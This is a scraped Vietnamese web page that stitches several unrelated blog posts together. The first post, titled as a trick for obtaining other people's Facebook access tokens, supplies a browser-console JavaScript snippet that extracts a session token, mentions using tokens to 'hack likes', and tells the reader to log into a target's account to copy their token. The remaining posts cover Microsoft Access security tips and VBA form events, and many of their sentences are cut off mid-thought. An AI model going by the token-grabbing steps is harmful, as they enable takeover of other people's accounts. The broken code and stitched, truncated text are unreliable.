Thủ Thuật Lấy Access Token Facebook Của Người Khác

--- Bài mới hơn ---

  • Các Thủ Thuật Facebook Hữu Ích Cho Người Dùng
  • Những Thủ Thuật Dùng Facebook Không Phải Ai Cũng Biết
  • Tổng Hợp Các Thủ Thuật Sử Dụng Facebook Không Phải Ai Cũng Biết
  • Thủ Thuật Kinh Doanh Trên Facebook Cho Người Mới Bắt Đầu
  • Cách Kinh Doanh Trên Facebook Cá Nhân Hiệu Quả
  • Một ứng dụng được kết nối bằng cách đăng nhập qua facebook thì ứng dụng có thể lấy mã Token để cung cấp quyền truy cập tạm thời. Mã token sẽ giữ an toàn khi vào API Facebook.

    Access Token là một đoạn mã được Facebook sinh ra phục vụ nhu cầu sử dụng của từng nhóm đối tượng cụ thể, đó có thể là một tài khoản Facebook cá nhân, một trang fanpage hay một ứng dụng được phát triển dựa một phần trên nền tảng Facebook. Với đoạn mã này các bạn có thể thực hiện được nhiều thao tác trên Facebook mà không cần lúc nào cũng phải yêu cầu quyền quản lý cao nhất trên tài khoản Facebook. Mã này sẽ bao gồm các thông tin:

    – Thời gian hết hạn sử dụng

    – Ứng dụng đã tạo mã

    Access token được sử dụng để:

    – Để cấp quyền truy cập tạm thời cho các ứng dụng mà các bạn đăng nhập bằng tài khoản Facebook

    – Đặc biệt, mã Token FB còn được sử dụng để hack like Facebook vô cùng hiệu quả

    Mã token có tác dụng quan trọng

    Tóm lại: Đoạn mã Token chính là chứng thực xác nhận để các bạn cho phép ai đó, ứng dụng nào đó thực hiện hành động trên tài khoản Facebook của các bạn một cách tạm thời

    Bước 1: Đăng nhập vào Facebook cá nhân của bạn , sau đó nhấn phím F12 hoặc tổ hợp phím Ctrl + Shift + C để mở màn hình Console

    Bước 2: Copy đoạn mã sau rồi dán vào khung chứa code ở màn hình Console sau đó nhấn Enter

    javascript:var uid = document.cookie.match(/c_user=(d+)/).value,http = new XMLHttpRequest,url = “//www.facebook.com/v1.0/dialog/oauth/confirm”,params = “fb_dtsg=” + dtsg + “&app_id=124024574287414&redirect_uri=fbconnect%3A%2F%2Fsuccess&display=page&access_token=&from_post=1&return_format=access_token&domain=&sso_device=ios&_CONFIRM=1&_user=” + uid;http.open(“POST”, url, !0), http.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”), http.onreadystatechange = function() {if (4 == http.readyState && 200 == http.status) {var a = http.responseText.match(/access_token=(.*)(?=&expires_in)/);a = a ? a[1] : “Failed to Get Access Token.”, prompt(“Token”, a);}}, http.send(params);

    Dùng thử miễn phí phần mềm quản lý bán hàng trên Fanpage Facebook

    Lưu ý : khi sử dụng cách 1 để thực hiện ,các bạn chỉ có thể lấy được mã Token chính bạn và không lấy được mã Token của người khác

    Trước tiên hãy đăng nhập vào Facebook của bạn.

    Bước 1 : Đầu tiên bạn cần Mở giao diện Console bằng cách nhấn F12 hoặc tổ hợp Ctrl + Shift + C.

    Bước 2: Tab Console xuất hiện sẽ có một đường link bên dưới hãy truy cập rồi copy đoạn mã code và dán và màn hình rồi nhấn enter

    Khi lấy mã token có một số lưu ý mà bạn cần cân nhắc như sau:

    – Thay your email và your password yêu cầu đăng nhập bằng nick đăng nhập vào địa chỉ facebook của bạn

    – Mỗi cách chỉ sử dụng được một lần và chỉ có thể dùng để lấy mã token của chính bạn và không thể áp dụng cho những nick facebook của những người khác.

    Bước 1: Đăng nhập vào facebook của người cần lấy mã sau đó nhấn Ctrl + U

    Bước 2: Nhấn tổ hợp Ctrl + F và nhấn AEEEXXX tại mục ô tìm kiếm

    Bước 3: Copy mã token facebook của người khác từ đoạn chúng tôi bằng cách bôi đen

    --- Bài cũ hơn ---

  • Khắc Phục Không Nhận Được Mã Xác Nhận Facebook
  • Khắc Phục 100% Facebook Bị Lỗi Vỡ Giao Diện Không Hiện Ảnh
  • 20+ Cách Tăng Like Fanpage Facebook Nhanh Nhất 2022
  • Hướng Dẫn Cách Tăng Like Ảnh Facebook Cực Đơn Giản Mà Hiệu Quả
  • Tổng Hợp Thủ Thuật Câu Like Facebook Cực Kì Hiệu Quả
  • 10 Thủ Thuật Bảo Mật Cơ Sở Dữ Liệu Access

    --- Bài mới hơn ---

  • Tổng Quan Về Microsoft Office Access 2003
  • Hướng Dẫn Thực Hành Access 2003
  • Giáo Trình Microsoft Access 2010 Căn Bản
  • Sở Hữu Chiếc Apple Watch, Bạn Đã Biết Đến Những Thủ Thuật “siêu Đỉnh” Này Chưa?
  • Hướng Dẫn Cách Sạc Pin Cho Apple Watch Đúng Cách Hạn Chế Chai Pin
  • 1. Sử dụng macro AutoExec để kiểm tra và thiết lập lại cài đặt

    Sử dụng macro AutoExec để kiểm tra và thiết lập lại các tùy chọn bảo mật có thể bị thay đổi trong các phiên làm việc trước đó. AutoExec là một macro đặc biệt có thể thực hiện mở cơ sở dữ liệu. Để tạo một macro AutoExec, chỉ cần đặt tên cho một macro AutoExec mới. Ví dụ, macro Startup() (trong hình) có chức năng xác định người dùng, thực hiện kiểm tra và cài đặt các thuộc tính bảo mật trước khi người dùng truy cập.

    Những tùy chọn khởi động trong hình B cho phép bạn xác định các thuộc tính của cơ sỡ dữ liệu khi mở. Hai trong số những thuộc tính này giúp cơ sở bảo dữ liệu bảo mật hơn:

      Display Database Window: Hủy chọn tùy chọn này để ẩn cửa sổ Database khi ai đó mở cơ sở dữ liệu. Do đó người dùng sẽ không thể truy cập trực tiếp vào bất cứ đối tượng nào.
      Use Access Special Keys: Bỏ tùy chọn này để người dùng không thể sử dụng phím F11 làm hiện cửa sổ Database.

    Hai cài đặt này hỗ trợ cho nhau, vì nếu không bỏ chọn tùy chọn Use Access Special Keys người dùng có thể ấn phím F11 để làm hiện cửa sổ Database.

    Việc bỏ chọn tùy chọn Display Database sẽ hủy lệnh Startup. Người dùng có thể loại những tùy chọn này bằng cách giữ phím Shift trong khi mở sơ sở dữ liệu. Đây là thủ thuật nhắc nhở cho bạn nhưng sẽ rất nguy hiểm nếu người khác biết được. Ngoài ra người dùng có thể đưa nhiều đối tượng vào một cơ sở dữ liệu trống để tránh những cài đặt khởi động.

    Bạn có thể sử dụng chính giao diện để ẩn cửa sổ Database. Nhưng việc sử dụng phím Shift lại gây nguy hiểm cho cơ sở dữ liệu. Bạn có thể hủy bỏ việc sử dụng phím Shift bằng cách đổi giá trị của thuộc tính AllowBypassKey thành False khi đóng cơ sở dữ liệu. Tuy nhiên, bạn cũng có thể gọi đoạn mã sau từ một tác vụ đóng bất kì:

    Public Sub SetStartupOptions(propname As String, _

    propdb As Variant, prop As Variant)

    ‘Set passed startup property.

    Dim dbs As Object

    Dim prp As Object

    Set dbs = CurrentDb

    On Error Resume Next

    dbs.Properties(propname) = prop

    If Err.Number = 3270 Then

    Set prp = dbs.CreateProperty(propname, _

    propdb, prop)

    dbs.Properties.Append prp

    End If

    Set dbs = Nothing

    Set prp = Nothing

    End Sub

    Khi gọi thủ tục, cần đảm bảo phải lựa chọn đúng tùy chọn khởi động. Ví dụ:

    Call SetStartupOptions(“AllowBypassKey”, dbBoolean, False)

    Sau khi cài đặt thuộc tính này cho tiến trình đóng, cơ sở dữ liệu sẽ vô hiệu hóa phím Shift.

    Ngoài ra bạn có thể cài đặt bất kì thuộc tính khởi động nào. Ví dụ làm ẩn cửa sổ Database:

    Call SetStartupOptions(“StartupShowDBWindow”, dbBoolean, False)

    Bạn có thể cài đặt những tùy chọn đóng và mở cơ sở dữ liệu với một ngoại lệ. Đó là thuộc tính AllowBypassKey phải được cài đặt khi đóng cơ sở dữ liệu, và bạn cần đặt tham chiếu tới thư viện Data Access Objects (DAO). Nếu không thủ tục này sẽ gây ra lỗi tham chiếu.

    Tuy nhiên, nếu ai đó biết sử dụng phím Shift cũng có thể biết cách khôi phục lại nó bằng cách thay đổi giá trị của AllowBypassKey thành True. Trong trường hợp này bạn sẽ phải áp dụng phương pháp bảo mật nhóm làm việc để chỉ cho phép admin truy cập vào thuộc tính này.

    Việc bảo vệ một cơ sở dữ liệu nhỏ sẽ dễ dàng hơn rất nhiều so với cơ sở dữ liệu lớn với nhiều đối tượng dữ liệu và giao diện. Bạn có thể chia một cơ sở dữ liệu lớn thành hai cơ sở dữ liệu nhỏ, trong đó cơ sở dữ liệu thứ nhất chứa bảng và quan hệ (được gọi là backend), và cơ sở dữ liệu còn lại chứa các đối tượng giao diện (còn gọi là frontend). Hai cơ sở dữ liệu này giao tiếp thông qua các bảng đã được liên kết. Một điểm quan trọng là người dùng trong frontend không thể thay đổi thiết kế bảng trong backend. (có nhiều cách để phân chia cở sở dữ liệu nhưng bài viết này chỉ hướng vào mục đích bảo mật).

    5. Tránh sử dụng Compact On Close

    Những ai đã từng sử dụng Access có lẽ đều biết đến tác dụng của việc nén cơ sở dữ liệu tường xuyên. Quá trình nén sẽ tạo ra một bản sao của cơ sở dữ liệu, kiểm tra các đối tượng, xóa bỏ dữ liệu tạm thời và sắp xếp lại những phần vỡ trên ổ đĩa. Tóm lại, nén giúp cơ sở dữ liệu luôn ổn định.

    Tùy chọn Compact On Close, được tích hợp đầu tiên trong Access 2000, giúp nén cơ sở dữ liệu tự động khi kết thúc phiên làm việc. Không may, tiến trình này lại giữ lại cả những file không cần thiết. Nếu thấy những file tạm thời như db1.mdb, db2.mdb, … trong folder chứa cơ sở dữ liệu của bạn, chúng có thể là một sản phẩm phụ của tính năng nén.

    Những file thừa này có thể gây ra rắc rối cho bạn nếu ai đó vào folder cũng có thể truy cập cả vào những file tạm thời. Đó là một lỗ hổng bảo mật. Có 2 cách để bảo vệ cơ sở dữ liệu của bạn:

      Thường xuyên kiểm tra và xóa những file tạm. (Tuy nhiên đây không phải là biện pháp thiết thực và thậm chí không có hiệu quả).
      Không sử dụng tính năng Compact On Close. Thay vào đó nên nén cơ sở dữ liệu theo cách thủ công. Đây là cách tốt nhất để bảo vệ cơ sở dữ liệu khỏi lỗ hổng trên.

    6. Ẩn các đối tượng

    Việc ẩn đi những đối tượng như bảng, truy vấn, form, … không phải là phương pháp bảo vệ hữu hiệu, vì nếu người dùng tìm thấy thì họ có thể thay đổi chúng. Tuy nhiên những đối tượng này sẽ được bảo mật hơn nếu người dùng không biết tới sự tồn tại của chúng. Việc ẩn các đối tượng chỉ đơn thuần giúp hạn chế lỗi gây mất dữ liệu mà không có tác dụng bảo mật. Để ẩn một đối tượng trong cửa sổ Database (hay Navigation), bạn chỉ cần phải chuột lên đối tượng, chọn Properties sau đó chọn tùy chọn Hidden Attribute.

    Tuy nhiên, những người dùng Access có thể làm hiện những đối tượng này bằng cách vào menu Tools Options, chọn tab View sau đó hủy chọn tùy chọn Hidden Objects trong mục Show. Trong Access 2007, phải chuột vào thanh menu Navigation, chọn Navigation Options Show Hidden Objects OK.

    Như đã nói, việc ẩn các đối tượng không có tác dụng bảo mật. Nếu bạn sử dụng phương pháp này, cần nhớ rằng những module ẩn vẫn hiển thị trên Visual Basic Editor (VBE). Hơn nữa, chỉ nên ẩn những đối tượng quan trọng vì khi người dùng truy cập vào mà không thấy cửa sổ Database họ sẽ tìm kiếm nó. Bạn không thể nhập những đối tượng ẩn vào một cơ sở dữ liệu nếu quá trình nhập không phù hợp.

    Bạn có thể lập trình để ẩn đi một đối tượng bằng mã VBA sau:

    CurrentDb.TableDefs(tablename).Attributes = dbHiddenObject

    Từ phiên bản Office 2000 trở về trước, việc sử dụng mã để gán thuộc tính ẩn vào một bảng rất rắc rối vì Access coi bảng đó là bảng tạm thời. Và trong lần nén tiếp theo Access sẽ xóa bỏ nó cùng với dữ liệu. Vì vây tránh sử dụng phương pháp này khi làm việc với các phiên bản đó.

    Trong giai đoạn phát triển, khả năng truy cập nhanh vào mã giúp tiết kiệm thời gian. Nhưng khi quản lý cơ sở dữ liệu thì đó là một thảm họa. Tốt nhất, trong mỗi thủ tục nên bổ sung một số tính năng xử lý lỗi để chặn thông báo và loại bỏ nút Debug.

    8. Đặt mật khẩu bảo vệ cơ sở dữ liệu

    Việc thiết lập mật khẩu cho cơ sở dữ liệu sẽ giới hạn quyền truy cập cho từng người dùng cụ thể cũng rất quan trọng mặc dù hiện nay có nhiều chương trình nhóm ba có thể phá bỏ mật khẩu của cơ sở dữ liệu.

    Để cài đặt mật khẩu bạn chỉ cần thực hiện các thao tác sau:

      Mở cơ sở dữ liệu theo chế độ Exclusive bằng cách chọn Open Exclusive trong hộp thoại Open.
      Vào menu Tools Security Set Database Password.
      Nhập mật khẩu vào hộp PasswordRetype Password.

    Để gỡ bỏ mật khẩu thực hiện các bước sau:

      Mở cơ sở dữ liệu trong chế độ Exclusive.
    • Vào menu Tools Security Unset Database Password.

    Bạn cũng có thể đặt mật khẩu bảo vệ cho các module VBA:

      Từ menu Tools của VBE, chọn Project Properties.
      Chọn tiếp tab Protection.
      Chọn tùy chọn Lock Project For Viewing.

    9. Chuyển đổi định dạng sang “mde” hay “accde”

    Access bổ sung tính năng bảo mật dưới một định dạng file mde hoặc accde (trong Access 2007). Định dạng này là một phiên bản “chỉ thực hiện” của cơ sở dữ liệu, có nghĩa là người dùng không có quyền truy cập vào mã qua VBE và họ không thể thay đổi các đối tượng. Định dạng này chỉ bảo vệ được thiết kế mà không bảo vệ được dữ liệu của bạn. Vì vậy bạn cần copy file mdb/accdb gốc trước khi nâng cấp hay thay đổi.

    Tuy nhiên khi sử dụng bạn cần lưu ý:

      Chỉ sử dụng định dạng này với frontend. Không sử dụng để bảo mật cho backend hay một cơ sở dữ liệu độc lập. Còn nếu muốn thực hiện, bạn cần phải chuyển mọi dữ liệu sang một cơ sở dữ liệu mới mỗi khi nâng cấp frontend.
    • Định dạng này cũng không bảo vệ bảng biểu, truy vấn, macro, quan hệ, thuộc tính cở dữ liệu và những tùy chọn khởi động.

    Để chuyển đổi một cơ sở dữ liệu

    10. Đặt mật khẩu bảo vệ hệ thống

    Không phải lúc nào người dùng cũng làm việc trên máy tính, đôi khi họ phải đảm trách nhiều công việc khác. Những lúc đó máy tính của họ sẽ không được chú ý và rất có thể sẽ bị xâm nhập. Cách tốt nhất để tránh tình huống trên là đặt mật khẩu bảo vệ màn hình. Tiện ích bảo vệ màn hình sẽ tự động được kích hoạt khi máy tính nhàn rỗi. Người dùng sẽ phải nhập mật khẩu trước khi truy cập vào hệ thống.

    Trong Windows XP, bạn có thể đặt mật khẩu cho tiện ích bảo vệ màn hình theo cách sau:

      Vào menu Start Control Panel Display.
      Đặt thời gian ScreenSaver khởi chạy.
      Lựa chọn tùy chọn On Resume, Password Protection.

    --- Bài cũ hơn ---

  • Một Số Mẹo Hay Trong Autocad
  • Top Thủ Thuật Autocad, Tài Liệu Tự Học Cad Full
  • Một Số Thủ Thuật Vẽ Autocad Giúp Tiết Kiệm Thời Gian
  • Autocad 2022 Và Những Tính Năng Mới Cập Nhật Nên Biết
  • Tải Autocad 2022 Full Crack “miễn Phí”+ Hướng Dẫn Cài Đặt
  • Tổng Hợp Thủ Thuật Access: Giới Thiệu Microsoft Access

    --- Bài mới hơn ---

  • Hướng Dẫn Tạo Cơ Sở Dữ Liệu Khách Hàng Cho Doanh Nghiệp Nhỏ Trên Microsoft Access?
  • Tổng Hợp 1 Số Thủ Thuật Avatar Cho Ai Chưa Biết
  • Hack Avatar, Avatar Auto Farm, Tải Game Avatar Phiên Bản Mới Nhất
  • Kí Tự Đặc Biệt Avatar Star ❤️❤️❤️ Và Cách Đổi Tên
  • Hướng Dẫn Chơi Game Avatar Musik Cơ Bản Dành Cho Người Mới Chơi
  • Access là gì?

    Với

    Tại sao bạn nên dùng Access?

    Nếu bạn đang cố gắng thiết kế hoặc tạo ra một công cụ hoặc 1 hệ thống hay chúng ta vẫn hay gọi với nhau là một phần mềm dùng để quản lý và làm việc với dữ liệu: nhập dữ liệu và hệ thống, thực hiện các thao tác chỉnh sửa, in báo cáo,

    Ngoài ra, nếu bạn là người không chuyên về IT nhưng bạn vẫn muốn tìm hiểu

    Để bắt đầu với việc học và làm việc với Access thì kĩ năng quan trọng nhất mà bạn nên có là khả năng tư duy logic và tiếng Anh. Dù rất muốn nhưng bất kì chương trình học nào dù miễn phí hay có phí thì đều không thể giới thiệu hết 100% kiến thức giúp các bạn áp dụng cho mọi trường hợp được, vậy nên với những kiến thức ban đầu được đưa ra, thì tư duy logic và tiếng Anh dành cho tra cứu là 2 yếu tố thiết yếu để bạn có thể tiếp tục tiến xa hơn trên con đường chinh phục không chỉ Access mà bất cứ kiến thức nào. Ngoài ra, bạn cần có 1 khoảng thời gian rảnh nhất định để thực sự có thể ngồi và suy nghĩ, thử lại những kiến thức đã học, bởi vì trong thời gian này, bạn chủ động học, thực hành và suy nghĩ. Sự “học 1 cách chủ động” này sẽ giúp bạn tiếp thu kiến thức nhanh hơn và tốt hơn. Hãy kiên trì! Và tất nhiên, không muốn làm một số bạn buồn: thực sự thì một số người không phù hợp để học nhanh 1 kiến thức nào đó vậy nên chúng ta cần nhiều thời gian và nhiều kiên nhẫn hơn 1 chút là mọi thứ sẽ từ từ trở nên dễ hiểu.

    Những mảng kiến thức cần có khi làm việc với Access

    Cơ sở dữ liệu – Database

    Cơ sở dữ liệu là gì?

    Nói 1 cách đơn giản, cơ sở dữ liệu là nơi chứa dữ liệu.

    Có những loại cơ sở dữ liệu nào?

    Có nhiều loại

    Loại dữ liệu được lưu trong một cơ sở dữ liệu? (Data types)

    Khi nhắc tới loại dữ liệu trong Database, chúng ta thường phần loại theo mục đích sử dụng của loại dữ liệu đó, ví dụ nếu chúng ta muốn lưu trữ họ và tên, thì chúng ta có thể dùng kiểu dữ liệu text, nếu chúng ta muốn lưu trữ tiền tệ, hoặc những con số thì chúng ta cần sử dụng kiểu dữ liệu Number, đối với mỗi dữ liệu mà chúng ta muốn quản lý và lưu trữ trong công việc hàng ngày, sẽ có 1 kiểu dữ liệu tương ứng. Tuỳ thuộc vào đặc tính và mục đích sử dụng của dữ liệu đó mà chúng ta sẽ có kiểu dữ liệu nhất định.

    Dữ liệu được quản lý như thế nào? (How data is organized? – Relationship)

    Chúng ta đang học về

    Mỗi quan hệ giữa các

    Làm thế nào để đọc được dữ liệu từ cơ sở dữ liệu?

    Để đọc được dữ liệu từ

    Giao diện người dùng – User Interface (UI) / Graphical User Interface (GUI)

    Giao diện người dùng giúp cho chúng ta có thể tương tác với chương trình, phần mềm hay hệ thống 1 cách đơn giản hơn, trong

    Form nhập dữ liệu – Input forms

    Giúp chúng ta có thể nhập dữ liệu vào

    Output –

    Output trong

    Ngôn ngữ lập trình

    --- Bài cũ hơn ---

  • Tổng Hợp Thủ Thuật Access
  • Một Số Mẹo Hay Khi Sử Dụng Autocad
  • Tải Autocad 2013 + Hướng Dẫn Cài Đặt
  • Hướng Dẫn Tự Học Autocad Cho Người Mới Bắt Đầu
  • Tải Autocad 2014 + Hướng Dẫn Cài Đặt
  • Tổng Hợp Thủ Thuật Access

    --- Bài mới hơn ---

  • Tổng Hợp Thủ Thuật Access: Giới Thiệu Microsoft Access
  • Hướng Dẫn Tạo Cơ Sở Dữ Liệu Khách Hàng Cho Doanh Nghiệp Nhỏ Trên Microsoft Access?
  • Tổng Hợp 1 Số Thủ Thuật Avatar Cho Ai Chưa Biết
  • Hack Avatar, Avatar Auto Farm, Tải Game Avatar Phiên Bản Mới Nhất
  • Kí Tự Đặc Biệt Avatar Star ❤️❤️❤️ Và Cách Đổi Tên
  • Event and Event procedure

    Tác Giả: phatnq2002 – Web DanKeToan

    CÁC KHÁI NIỆM

    Sự kiện là gì?

    Sự kiện (event) là một hành động xác định xảy ra trên hoặc với một đối tượng nào đó. MS Access có thể đáp lại nhiều sự kiện: nhấn chuột, thay đổi dữ liệu, mở hoặc đóng form, … Sự kiện thường là kết quả tạo ra bởi một hành động của người sử dụng.

    Thủ tục là gì?

    Thủ tục (procedure) là một đơn vị code của VB. Một thủ tục bao gồm một dãy các lệnh (statement) hoặc các phương thức (method) để thực thi một hành động hoặc tính toán một giá trị.

    Thủ tục sự kiện là gì?

    Thủ tục sự kiện (event procedure) là một thủ tục tự động thực thi để đáp lại một sự kiện được khởi xướng từ một hành động của người dùng hoặc từ code của chương trình.

    VD: Thủ tục sự kiện sau đây sẽ thực thi một lệnh mở câu thông báo chào khi form được mở ra:

    Private Sub Form_Load()

    MsgBox “Xin chào các bạn.”

    End Sub

    MỘT SỐ SỰ KIỆN THƯỜNG GẶP VÀ CÁCH ĐIỀU KHIỂN SỰ KIỆN

    Các sự kiện xảy ra với đối tượng Form:

    1. Sự kiện Open:

    Sự kiện xảy ra khi form được mở, nhưng trước khi record đầu tiên được hiển thị.

    (Ghi chú: ở đối tượng Report cũng có sự kiện Open, trong report sự kện Open xảy ra trước khi report được pview hoặc được in)

    Từ khi gọi form cho đến khi form xuất hiện lần đầu trên màn hình, một loạt các sự kiện xảy ra, trong đó sự kiện Open là sự kiện được xảy ra đầu tiên. Các sự kiện này và thời điểm xảy ra của nó được thể hiện bằng chuỗi sau:

    Thuộc tính gắn với sự kiện Open có tên là OnOpen.

    (Các bạn lưu ý: với những thuộc tính bắt đầu bằng On có nghĩa là sự kiện đó đang diễn tiến,Before là trước khi sự kiện xảy ra, After là sau khi sự kiện xảy ra)

    .

    Thủ tục sự kiện gắn với sự kiện này là Form_Open. Sự kiện có một tham số có tên là Cancel kiểu Integer (thực chất nó chỉ nhận hai giá trị True và False). Tham số này các bạn có thể định lại giá trị cho nó.

    Nếu định là True, sự kiện sẽ bị hoãn, nghĩa là sự kiện sẽ không hoàn tất, nhưng không xảy ra lỗi. Mặc nhiên là False.

    VD: Bạn muốn rằng khi form A mở ra thì form B sẽ mở ra nếu người sử dụng đồng ý, bạn có thể code cho thủ tục sự kiện như sau:

    Private Sub Form_Open(Cancel As Integer)

    If MsgBox(“Ban co muon form B mo ra dong th oi luon khong?”, vbYesNo) = vbYes Then

    DoCmd.OpenForm “form B”

    Else

    Cancel = True

    End If

    End Sub

    Ghi chú: Bất kỳ một thủ tục sự kiện nào nó thông số là Cancel, thì sự kiện tương ứng đều có thể cho ngưng không cho hoàn tất. Trong trường hợp bạn sử dụng một macro hoặc một phương thức của DoCmd thì nếu hoãn một sự kiện, sẽ có một error trả về. Để tránh xuất hiện lỗi thì nế dùng macro, bạn có thể đặt trước macro đó một macro SetWarnings và gán cho thuộc tính WarningOn là No, dùng DoCmd trong code thì trước đó bạn đặt câu On Error Resume Next.

    2. Sự kiện Load:

    Sự kiện Load xảy ra bởi tác động của người dùng như:

    – Bắt đầu một ứng dụng.

    – Mở một form bằng cách nhắp vào Open trên cửa sổ Database.

    – Thực thi một hành động OpenForm trong macro.

    – Gọi form bằng DoCmd.OpenForm trong thủ tục.

    Thuộc tính sự kiện tương ứng có tên là OnLoad.

    Thủ tục sự kiện tương ứng có tên là Form_Load, không có tham số.

    Khi điều khiển sự kiện này, bạn có thể thực hiện những công việc sau:

    Thiết lập các giá trị mặc định cho các control hoặc thể hiện các giá trị tính toán tùy thuộc vào dữ liệu có trên form.

    VD: Trong public module bạn có một biến language. Nếu biến này là “V” thì bạn cho hiển thị các caption của các Label là tiếng Việt, “E” thì hiển thị là tiếng Anh. Biến này sẽ tùy thuộc vào việc người ta chọn trong một thủ tục nào đó trước khi form bạn được gọi vào.

    Trước tiên, khi thiết kế form, ở các label, bạn đặt các từ “ính lịt” tương ứng ở property Tag của nó.

    Sau đó bạn thiết kế thủ tục Form_Load như sau:

    Private Sub Form_Load ()

    Dim ctl As Control

    For Each ctl In Detail.Controls ‘ or FormHeader.Controls, FormFooter.Controls

    If TypeOf ctl Is Label Then

    x = ctl.Caption

    ctl.Caption = ctl.Tag

    ctl.Tag = x

    End If

    Next

    End Sub

    3. Sự kiện Resize:

    Sự kiện xảy ra khi form được gọi và bất cứ khi nào kích thước của form thay đổi.

    Thuộc tính sự kiện tương ứng có tên là OnResize.

    Thủ tục sự kiện tương ứng có tên là Form_Resize. Thủ tục này không có tham số.

    Khi điều khiển sự kiện này, bạn có thể:

    – Di chuyển hoặc định lại kích thước của một control.

    – Tính toán lại các biến.

    VD: Khi có sự thay đổi kích thước của form sẽ cho hoàn tất những cập nhật màn hình còn đang treo hoặc những tính toán chưa thực hiện xong trên các control bằng phương thức Repaint.

    Private Sub Form_Resize()

    Me.Repaint

    End Sub

    4. Sự kiện Activate:

    Sự kiện xảy ra khi một form (cũng đúng với report) nhận một focus

    (cái này không dám dịch ra tiếng việt, bởi dịch ra thì hổng ai hiểu, còn để nguyên thì ai cũng hiểu !!! :sifone:)

    và trở thành cửa sổ hoạt động.

    Thuộc tính sự kiện tương ứng có tên là OnActivate.

    Thủ tục sự kiện tương ứng có tên là Form_Activate. Thủ tục không có tham số.

    VD: Bây giờ bạn có thiết kế một cái toolbar chỉ dành riêng cho form A. Như vậy nếu form A được kích hoạt thì mới hiện toolbar này (ví dụ toolbar này có tên là FormA_Toolbar).

    Private Sub Form_Activate()

    DoCmd.ShowToolbar “FormA_Toolbar”, acToolbarYes

    End Sub

    5. Sự kiện Current:

    Sự kiện xảy ra khi một focus được di chuyển đến một record, làm cho nó trở thành record hiện hành, hoặc khi form được “làm tươi mát” (refresh) hoặc được gán lại source (requery).

    Thuộc tính sự kiện tương ứng có tên là OnCurrent.

    Thủ tục sự kiện tương ứng có tên là Form_Current. Thủ tục này không có tham số.

    VD: Bạn có một form hiển thị một số thông tin của một table, trong đó có 3 textbox ứng với 3 field(tạm là text1, text2, text3) và một checkbox cũng ứng với một field Yes/No(check1).

    Yêu cầu đặt ra là nếu check1 bằng True thì không cho thay đổi nội dung trong 3 textbox.

    Private Sub Form_Current ()

    text1.Locked = check1

    text3.Locked = check1

    text3.Locked = check1

    6. Sự kiện UnLoad:

    Sự kiện Unload xảy ra khi:

    – Người sử dụng nhấn nút Close trên cửa sổ Form.

    – Người sử dụng gọi menu File – Close.

    – Gọi một macro Close một cửa sổ có thuộc tính Form.

    – Gọi một lệnh DoCmd.Close với kiểu cửa sổ là acForm.

    – Đóng Windows trong khi ứng dụng Access đang chạy.

    Unload là sự kiện đầu tiên của chuỗi sự kiện sau:

    Thuộc tính sự kiện tương ứng là OnUnload.

    Thủ tục sự kiện tương ứng là Form_Unload. Thủ tục này có một thuộc tính Cancel. Như ở bài trước, bạn đã biết nếu Cancel = True thì có nghĩa gì rồi phải không?

    Private Sub Form_Unload (Cancel As Integer)

    If danglam Then

    If MsgBox (“Du lieu da co thay doi. Co muon luu truoc khi dong khong?”, vbYesNo) = vbYes then

    DoCmd.SaveRecord

    Else

    DoCmd.Undo

    End If

    End Sub

    7. Sự kiện DeActivate:

    Sự kiện xảy ra khi bạn rời focus ra khỏi form (hoặc report). Nó cũng xảy ra sau khi form (report) được Unload.

    Thuộc tính sự kiện tương ứng có tên OnDeactivate.

    Thủ tục sự kiện tương ứng có tên Form_Deactivate. Không có tham số.

    VD: Tiếp theo ví dụ của mục 4 phía trên (bài trước), khi chuyển focus ra khỏi form A, bạn cho ẩn tool box đi.

    Private Sub Form_Deactivate()

    DoCmd.ShowToolbar “FormA_Toolbar”, acToolbarNo

    End Sub

    8. Sự kiện Close:

    Sự kiện xảy ra khi form đã thực sự được đóng lại nhưng chưa rời hỏi màn hình. Về cơ bản xem như nó đã được đóng lại, nhưng nếu bạn có “lưu luyến” gì với người dùng, bạn có thể gửi một thông điệp gì đó ở đây đại loại như … xem ví dụ bên dưới.

    Tên thuộc tính sự kiện tương ứng là OnClose.

    Tên thủ tục sự kiện là Form_Close. Không có tham số.

    VD: Gửi một thông điệp “lưu luyến”

    Private Sub Form_Close ()

    MsgBox “See you soon.”

    Sự kiện này xảy ra khi người sử dụng gõ vào ký tự đầu tiên trong record mới, nhưng trước khi record ấy thực sự được tạo.

    Sự kiện này bắt đầu một dãy sự kiện sau đây:

    Thuộc tính sự kiện có tên là BeforeInsert.

    Thủ tục sự kiện có tên là Form_BeforeInsert. Có một tham số quen thuộc là Cancel.

    VD: Giả sử bạn là người rất cẩn thận. Bạn muốn rằng khi một người sử dụng gõ một ký tự bất kỳ vào record mới, bạn sẽ lưu ý họ liền, sợ rằng họ vô tình nhấn phím mà thôi. Bạn có thể code nhẹ nhàng như sau:

    Private Sub Form_BeforeInsert(Cancel As Integer)

    If MsgBox(“Them record moi ha ban?”, vbOKCancel) = vbCancel Then

    MsgBox “Lan sau nho can than khi su dung ban phim nghen !!!”

    Cancel = True

    End If

    End Sub

    10. Sự kiện BeforeUpdate:

    Sự kiện xảy ra khi có một sự thay đổi dữ liệu trong một control thuộc form hoặc khi record được cập nhật (update).

    Đúng ra đây đang liệt kê các sự kiện của Form, nhưng sự kiện này cũng ảnh hưởng đến một control, vậy có nên nói luôn ở đây không ta? Thôi chơi luôn há?

    Đối với form, sự kiện này sẽ xảy ra khi bạn dời focus từ record hiện hành sang một record khác nhưng chưa dời thật sự, hoặc bạn đã gọi lệnh Save Record trong menu Records, hoặc bạn gọi macro SaveRecord hoặc bạn dùng lệnh DoCmd.RunCommand acCmdSaveRecord.

    Đối với control, sự kiện này sẽ xảy ra khi bạn dời focus từ control đó sang một control khác mà ở control hiện hành bạn có thay đổi dữ liệu.

    Sự kiện BeforeUpdate của form xảy ra sau sự kiện BeforeUpdate của control. Bạn nên chú ý điều này để việc điều khiển bằng thủ tục sự kiện cho phù hợp.

    Thuộc tính sự kiện có tên là BeforeUpdate.

    Thủ tục sự kiện có tên là:

    Form_BeforeUpdate đối với form

    controlname_BeforeUpdate đối với một control

    Cả hai đều có tham số quen thuộc Cancel. Với form, khi Cancel = True, nó sẽ không cho bạn rời khỏi record đó, trừ khi bạn nhấn ESC để hủy thay đổi (hoặc một macro hay lệnh tương ứng) hay nhập liệu cho chính xác với yêu cầu.

